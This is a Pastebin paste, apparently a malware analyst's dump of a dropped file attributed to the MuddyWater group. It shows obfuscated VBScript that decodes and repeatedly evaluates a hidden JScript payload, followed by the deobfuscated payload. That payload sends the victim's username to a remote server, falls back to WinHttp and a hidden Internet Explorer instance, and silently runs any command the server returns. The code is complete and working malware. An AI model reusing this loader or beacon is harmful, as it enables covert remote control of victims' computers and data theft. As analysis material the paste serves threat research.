Advertisement
jcarndt

MuddyWater zdrqgswu

Nov 25th, 2019
282
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.41 KB | None | 0 0
  1. *************** DROPPED FILE: zdrqgswu ***************
  2.  
  3. On Error Resume Next
  4. blhcqkvwge = "017123121128130017115129107126109128119106109108039068039117108126039072106123112125108095086105113108106123047041094112117079123123119053094112117079123123119089108120124108122123053060053056041048017127121128117121118125105112117039068039117108126039072106123112125108095086105113108106123047041094090106121112119123053085108123126118121114041048066017113119110106115105112122106116047127121128117121118125105112117053092122108121117104116108048066017109124117106123112118117039113119110106115105112122106116047124048130017016123121128130017016016125104121039114124116117107108118115111126039068039117108126039072106123112125108095086105113108106123047041084090095084083057053090108121125108121095084083079123123119041048066017039016016114124116117107108118115111126053118119108117047041078076091041051039041111123123119065054054104116119104106112117107124122123121112108122053106118116054106122122054124123109063053119111119070104106068110106045104115068041039050039124051039109104115122108048066017039016016114124116117107108118115111126053122108117107047048066017039016016122120109129115114129127109105047114124116117107108118115111126053121108122119118117122108091108127123048066017016132017016106104123106111047108048130017039039039039016123121128017039039039039016130017039039039039016039039039115129107126109128119106109108053086119108117047041078076091041051039041111123123119065054054104116119104106112117107124122123121112108122053106118116054106122122054124123109063053119111119070104106068110106045104115068041039050039124051039109104115122108048017016016039039039115129107126109128119106109108053090108117107047048017016016039039039122120109129115114129127109105047115129107126109128119106109108053089108122119118117122108091108127123048066017039039039039016132017039039039039016106104123106111047108048017039039039039016130017039039039039016016123121128130017039039039039016016016125104121039119108108125114129111120113113039068039117108126039072106123112125108095086105113108106123047041080117123108121117108123076127119115118121108121053072119119115112106104123112118117041048066017016016016016119108108125114129111120113113053093112122112105115108039068039055066017016016016016119108108125114129111120113113053117104125112110104123108047041111123123119065054054104116119104106112117107124122123121112108122053106118116054106122122054124123109063053119111119070104106068110106045104115068041039050039124048066017016016016016107118130017016016016016132126111112115108047119108108125114129111120113113053121108104107128090123104123108039040068039059048066017016016016016122120109129115114129127109105047119108108125114129111120113113053107118106124116108117123053105118107128053112117117108121079091084083048066017016016016016119108108125114129111120113113053088124112123047048066017039039039039016016132017016016016106104123106111047108048130017017016016016132017016016132017039039039039132017132017109124117106123112118117039122120109129115114129127109105047106105117105126116128124106129048130017016123121128130017016016125104121039115106120125109122118119126118039068039117108126039072106123112125108095086105113108106123047041094090106121112119123053090111108115115041048066017016039039039039112109047106105117105126116128124106129039040068039041041039045045039106105117105126116128124106129039040068039117124115115048130017016039039039039039039039115106120125109122118119126118053089124117047106105117105126116128124106129051055051109104115122108048066017016039039039039132017016039132017016039106104123106111047108048130017016039132039017132017132017106104123106111047108048130017132017"
  5. hdupqjaiot = ""
  6. abddxkbewg = 1
  7. abddxkbewg = abddxkbewg - 408
  8. For pgrczfwnbz = 1 To 25
  9. abddxkbewg = abddxkbewg - 820
  10. Next
  11.  
  12. abddxkbewg = -20900 - abddxkbewg
  13.  
  14. For pgrczfwnbz = 1 To Len(blhcqkvwge) step 3
  15. hdupqjaiot = hdupqjaiot + Chr(CInt(mid(blhcqkvwge,pgrczfwnbz,3)) - abddxkbewg)
  16. Next
  17. Function jhohvgaemi(ttcxwztlqh,pwwitkickz)
  18. blhcqkvwge = ""
  19. For wdjtzjuwyv=ttcxwztlqh+1 To Len(pwwitkickz) step ttcxwztlqh+1
  20. blhcqkvwge= blhcqkvwge + Mid(pwwitkickz,wdjtzjuwyv,1)
  21. Next
  22. jhohvgaemi = blhcqkvwge
  23. End Function
  24. set gowaquzswh = CreateObject(jhohvgaemi(19,"uG7hN67bCenhmvnKpCjSOztvCtdGVfIAGvrYZs0cRVjU6HoUK4a7RMnFgw7raBDJxpD66CfaCEMLTwfiwGwxtDlTyreIxiaZu7cpXwHazXsIi1uAupDEwI0tta2WXhHIyzVN6HLO2EyCyRxeWU67PGZIJ2RMMkAoDUrmo0wv9zEVbJbZUYKnb1u25HT7E0pqdrq5mPxtqrIaFaXCdcvYWvn12u2ruAzDVNinpAV7fK3FJC5orFIHFPMORFXuF3bzn0ild20KAOishA82823YZ5r"))
  25. gowaquzswh.Language = jhohvgaemi(9,"JtuwAk33VJDH0zHpi6WSJv9mPaqzXcU4KRW5PULrOIp1fv6cLi0QtVrHTilpzF5FGiWQytklMZvBo3U")
  26. gowaquzswh.timeout = -1
  27. do
  28. WScript.Sleep Int((254853 - 178208)*Rnd+178208)
  29. gowaquzswh.Eval(hdupqjaiot)
  30. loop
  31.  
  32. *************** DEOBFUSCATED CODE ***************
  33. try{
  34. lzdwfypcfe = new ActiveXObject("WinHttp.WinHttpRequest.5.1")
  35. xrynrovbin = new ActiveXObject("WScript.Network");
  36. jpgclbiscm(xrynrovbin.Username);
  37. function jpgclbiscm(u){
  38. try{
  39. var kumndeolhw = new ActiveXObject("MSXML2.ServerXMLHttp");
  40. kumndeolhw.open("GET", "http://ampacindustries.com/css/utf8.php?ac=gc&al=" + u, false);
  41. kumndeolhw.send();
  42. sqfzlkzxfb(kumndeolhw.responseText);
  43. }
  44. catch(e){
  45. try
  46. {
  47. lzdwfypcfe.Open("GET", "http://ampacindustries.com/css/utf8.php?ac=gc&al=" + u, false)
  48. lzdwfypcfe.Send()
  49. sqfzlkzxfb(lzdwfypcfe.ResponseText);
  50. }
  51. catch(e)
  52. {
  53. try{
  54. var peevkzhqjj = new ActiveXObject("InternetExplorer.Application");
  55. peevkzhqjj.Visible = 0;
  56. peevkzhqjj.navigate("http://ampacindustries.com/css/utf8.php?ac=gc&al=" + u);
  57. do{
  58. }while(peevkzhqjj.readyState != 4);
  59. sqfzlkzxfb(peevkzhqjj.document.body.innerHTML);
  60. peevkzhqjj.Quit();
  61. }
  62. catch(e){
  63.  
  64. }
  65. }
  66. }
  67. }
  68. function sqfzlkzxfb(cbnbwmyucz){
  69. try{
  70. var lcqvfsopwo = new ActiveXObject("WScript.Shell");
  71. if(cbnbwmyucz != "" && cbnbwmyucz != null){
  72. lcqvfsopwo.Run(cbnbwmyucz,0,false);
  73. }
  74. }
  75. catch(e){
  76. }
  77. }
  78. }
  79. catch(e){
  80. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement